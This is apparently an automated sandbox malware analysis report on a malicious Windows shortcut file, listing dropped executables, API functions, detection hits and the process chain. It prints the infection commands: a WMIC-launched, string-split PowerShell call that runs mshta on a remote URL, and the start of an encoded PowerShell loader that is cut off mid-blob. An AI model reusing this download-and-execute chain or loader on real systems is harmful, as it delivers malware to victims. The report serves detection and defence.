Source: powershell.exe, 00000009.00000002.1596053315.0000024F72C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_e5843207-e
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: This is a third-party compiled AutoIt script.	18_2_00007FF697B437B0
Source: PefjSkkhb.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ec196a0a-0
Source: PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_9c514b9a-d

Contains functionality to create processes via WMI

Source: WMIC.exe, 00000001.00000002.1371416135.000001806C2B0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32\Wbem\wmic.exe"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"C:\Users\user\Desktop\nTyPEbq9wQ.lnkWinsta0\Default

memstr_764f28ab-7

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Guard.exe			Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Windows shortcut file (LNK) contains suspicious command line arguments

Source: nTyPEbq9wQ.lnk

LNK file: process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BBC110: CreateFileW,DeviceIoControl,CloseHandle,

18_2_00007FF697BBC110

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BAD2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

18_2_00007FF697BAD2C4

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBD750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	18_2_00007FF697BBD750
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00335778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	27_2_00335778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D85778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	31_2_00D85778

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BDF630	18_2_00007FF697BDF630
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B6F8D0	18_2_00007FF697B6F8D0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B558D0	18_2_00007FF697B558D0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBD87C	18_2_00007FF697BBD87C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B4183C	18_2_00007FF697B4183C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B81840	18_2_00007FF697B81840
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BF17C0	18_2_00007FF697BF17C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B71750	18_2_00007FF697B71750
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD56A0	18_2_00007FF697BD56A0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B795B0	18_2_00007FF697B795B0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B4B390	18_2_00007FF697B4B390
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B8529C	18_2_00007FF697B8529C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD32AC	18_2_00007FF697BD32AC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B6C130	18_2_00007FF697B6C130
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD206C	18_2_00007FF697BD206C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B45F3C	18_2_00007FF697B45F3C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B6BEB4	18_2_00007FF697B6BEB4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B4BE70	18_2_00007FF697B4BE70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B53C20	18_2_00007FF697B53C20
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BEDB18	18_2_00007FF697BEDB18
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B5FA4F	18_2_00007FF697B5FA4F
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BEBA0C	18_2_00007FF697BEBA0C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC1A18	18_2_00007FF697BC1A18
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B4B9F0	18_2_00007FF697B4B9F0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B7793C	18_2_00007FF697B7793C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B7A8A0	18_2_00007FF697B7A8A0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B867F0	18_2_00007FF697B867F0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BEC6D4	18_2_00007FF697BEC6D4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BEA59C	18_2_00007FF697BEA59C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BE055C	18_2_00007FF697BE055C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B64514	18_2_00007FF697B64514
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B784C0	18_2_00007FF697B784C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B6C3FC	18_2_00007FF697B6C3FC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B82400	18_2_00007FF697B82400
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC83D4	18_2_00007FF697BC83D4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD8360	18_2_00007FF697BD8360
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD6320	18_2_00007FF697BD6320
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B602C4	18_2_00007FF697B602C4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B730DC	18_2_00007FF697B730DC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BECE8C	18_2_00007FF697BECE8C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B60E90	18_2_00007FF697B60E90
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B50E70	18_2_00007FF697B50E70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B52E30	18_2_00007FF697B52E30
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B86DE4	18_2_00007FF697B86DE4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B82D20	18_2_00007FF697B82D20
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD6C34	18_2_00007FF697BD6C34
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B42AE0	18_2_00007FF697B42AE0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BE0AEC	18_2_00007FF697BE0AEC
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002DB020	27_2_002DB020
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002D94E0	27_2_002D94E0
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002D9C80	27_2_002D9C80
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F23F5	27_2_002F23F5
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00358400	27_2_00358400
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00306502	27_2_00306502
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0030265E	27_2_0030265E
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002DE6F0	27_2_002DE6F0
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F282A	27_2_002F282A
Source: C:\Users\Public\Guard.exe	Code function: 27_2_003089BF	27_2_003089BF
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00350A3A	27_2_00350A3A
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00306A74	27_2_00306A74
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002E0BE0	27_2_002E0BE0
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002FCD51	27_2_002FCD51
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0032EDB2	27_2_0032EDB2
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00338E44	27_2_00338E44
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00350EB7	27_2_00350EB7
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00306FE6	27_2_00306FE6
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002D32C2	27_2_002D32C2
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F33B7	27_2_002F33B7
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002FF409	27_2_002FF409
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002ED45D	27_2_002ED45D
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002EF628	27_2_002EF628
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002D1663	27_2_002D1663
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002DF6A0	27_2_002DF6A0
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F16B4	27_2_002F16B4
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F78C3	27_2_002F78C3
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F1BA8	27_2_002F1BA8
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002FDBA5	27_2_002FDBA5
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00309CE5	27_2_00309CE5
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002D7CD7	27_2_002D7CD7
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002EDD28	27_2_002EDD28
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F1FC0	27_2_002F1FC0
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002FBFD6	27_2_002FBFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D2B020	31_2_00D2B020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D294E0	31_2_00D294E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D29C80	31_2_00D29C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D423F5	31_2_00D423F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00DA8400	31_2_00DA8400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D56502	31_2_00D56502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D2E6F0	31_2_00D2E6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D5265E	31_2_00D5265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4282A	31_2_00D4282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D589BF	31_2_00D589BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D56A74	31_2_00D56A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00DA0A3A	31_2_00DA0A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D30BE0	31_2_00D30BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D7EDB2	31_2_00D7EDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4CD51	31_2_00D4CD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00DA0EB7	31_2_00DA0EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D88E44	31_2_00D88E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D56FE6	31_2_00D56FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D433B7	31_2_00D433B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D3D45D	31_2_00D3D45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4F409	31_2_00D4F409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D416B4	31_2_00D416B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D2F6A0	31_2_00D2F6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D21663	31_2_00D21663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D3F628	31_2_00D3F628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D478C3	31_2_00D478C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4DBA5	31_2_00D4DBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D41BA8	31_2_00D41BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D59CE5	31_2_00D59CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D3DD28	31_2_00D3DD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4BFD6	31_2_00D4BFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D41FC0	31_2_00D41FC0

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 00D48B30 appears 42 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 00D40D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: String function: 00D31A36 appears 34 times
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: String function: 00007FF697B68D58 appears 76 times
Source: C:\Users\Public\Guard.exe	Code function: String function: 002F0D17 appears 70 times
Source: C:\Users\Public\Guard.exe	Code function: String function: 002F8B30 appears 42 times
Source: C:\Users\Public\Guard.exe	Code function: String function: 002E1A36 appears 34 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2993
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2993			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.expl.evad.winLNK@74/253@14/8

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BC3778 GetLastError,FormatMessageW,

18_2_00007FF697BC3778

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BAD5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	18_2_00007FF697BAD5CC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BACCE0 AdjustTokenPrivileges,CloseHandle,	18_2_00007FF697BACCE0
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00328DE9 AdjustTokenPrivileges,CloseHandle,	27_2_00328DE9
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00329399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	27_2_00329399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D78DE9 AdjustTokenPrivileges,CloseHandle,	31_2_00D78DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D79399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	31_2_00D79399

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BC58C4 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

18_2_00007FF697BC58C4

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BBBE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

18_2_00007FF697BBBE00

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BC5F2C CoInitialize,CoCreateInstance,CoUninitialize,

18_2_00007FF697BC5F2C

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B46580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

18_2_00007FF697B46580

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8840:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c2hf1on.eht.ps1

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: nTyPEbq9wQ.lnk	ReversingLabs: Detection: 21%
Source: nTyPEbq9wQ.lnk	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6